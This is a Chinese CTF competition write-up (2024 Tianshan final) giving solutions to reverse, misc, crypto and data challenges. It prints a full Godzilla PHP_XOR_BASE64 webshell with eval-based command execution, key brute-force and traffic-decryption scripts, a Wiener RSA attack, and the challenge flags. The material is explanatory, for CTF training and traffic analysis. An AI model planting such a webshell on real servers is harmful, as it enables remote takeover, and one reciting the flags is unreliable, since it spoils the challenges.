2024 天山固网杯决赛 部分WP

2024 天山固网杯决赛 部分WP

REVERSE - bouquet

ida32 打开exe 查看字符串发现 换位后的flag

已知长度 25 字符

反编译分析困难 通过运行程序 测试输入发现

当长度不对时会输入1个wrong

长度正确时 输出一定数量的wrong

尝试输入 DASCTF{ 开头的字符串 发现 wrong 数对于减少

可以通过 遍历判断wrong 数量推算 正确的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import subprocess


def run_exe_with_input(exe_path, input_data):
# 使用 subprocess.Popen 来启动进程
process = subprocess.Popen(
exe_path,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True # 确保输入输出是文本模式,而不是字节模式
)

# 向进程发送输入数据并获取输出和错误信息
try:
output, errors = process.communicate(input=input_data, timeout=10)
except subprocess.TimeoutExpired:
process.kill()
output, errors = process.communicate()
return "Process timed out", errors

return output, errors


f = ['*'] * 25
for i in range(25):
for j in 'j7aw_sC3addq4TAo}8_Fda{SD':
exe_path = "bouquet.exe"
f[i] = j
input_data = ''.join(f) + "\n"
output, errors = run_exe_with_input(exe_path, input_data)
w = output.split("\n")
if len(w) == 49 - i * 2:
print(j, end="")
break

DASCTF{asd48_daj7w_3adqo}

MISC - pic-1-2

查看图片详细信息发现16进制数据

转换得到 flag

DASCTF{64df3de15bd51e3cba157d6228dda368}

MISC - gza_Cracker Crack_me

通过流量分析发现数据是 哥斯拉的 PHP_XOR_BASE64 加密

通过哥斯拉生成 webshell 代码 分析可以发现加解密逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='Antsword';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);// 解密请求数据
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16); // 添加前缀
echo base64_encode(encode(@run($data),$key)); // 加密响应数据
echo substr(md5($pass.$key),16); // 添加后缀
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

参考-哥斯拉Godzilla加密流量分析

首先需要找到key ,在流量中已知 pass = Antsword 和 前缀 e71f50e9773b23f9

还有一个密码字典

猜测key 就在 字典中

已知 前缀 = substr(md5($pass.$key),0,16); 可以进行遍历字典求key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$ap = array("123456",
"password",
"12345678",
"1234",
"admin@123",
"......",
"joshua",
"Antsw0rd",
"maggie",
"......");

function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}

$pass = 'Antsword';

foreach ($ap as $p) {
$ff = substr(md5($pass . substr(md5($p), 0, 16)), 0, 16);
if ($ff == "e71f50e9773b23f9") {
echo $p . "\n";
echo substr(md5($p), 0, 16) . "\n";;
}
}

运行得到 key 为 Antsw0rd md5 前16位是 a18551e65c48f51e

已知key 后就可以对 响应数据进行解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}

$base = "LrM9NTFlNjVjNzMUQDpsVT1KegABTTk60LjI68X66lH9Fno8gpF7BylFz2ua+exRPZO/n8PIOgZrx3NtgYSAYzF2bbOMUDY1Yw==";
$pass = 'Antsword';
$key = "a18551e65c48f51e"; // Antsw0rd

$data = encode(base64_decode($base), $key); // 解密数据
echo $decompressedData = gzdecode($data); // 需要对数据进行解压缩
// echo base64_decode($decompressedData);

通过解密数据在倒数第二处流响应中发现flag

DASCTF{M0Y_W1sh_Y0u_LogF1le_Usg32WEM}

MISC - 不良劫

ps 调整色阶 将非纯黑色变的更明显

再进行定位点还原 和修补

扫描得到 DASCTF{014c6e74-0c4a-48fa 一半flag

使用 WaterMarkH 提取盲水印 得到第二半flag -8b33-ced16f847e39}

DASCTF{014c6e74-0c4a-48fa-8b33-ced16f847e39}

CRYPTO - ddd

CTF入门RSA维纳攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import gmpy2
import libnum

def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf


def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d

n = 114566998957451783636756389276471274690612644037126335470456866443567982817002189902938330449132444558501556339080521014838959058380963759366933946623103869574657553262938223064086322963492884606713973124514306815995276393344755433548846003574038937940253826360659447735554684257197194046341849089254659225497
e = 35489734227210930185586918984451799765619374486784192218215354633053183935617953856556709715097294481614236703293033675674496036691242573294182072757562322996800390363453350727372642264982749305833933966045097125311467413670410802534093354414115267442785896373815076066721029449240889291057288090241124904705
c = 60503455347700500866544596012233537789678841391057706123172519773588895502922586197178148979273264437566411675346207472455036341903878112074983509557751805365618433536738111588239911292341288514123006967218545943520736254346030465088445419278775539026233686559207400401082452551955780877227801939191694370380
d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())
#DASCTF{e694f0b4e9556021d1bc9e8deedba575}

DASCTF{e694f0b4e9556021d1bc9e8deedba575}

DS - findphone

从文本中正则匹配所有11位数字 [0-9]{11}

再根据文档中的 虚拟号段 匹配去掉 不正确的号码

按照格式生成csv 上传得到flag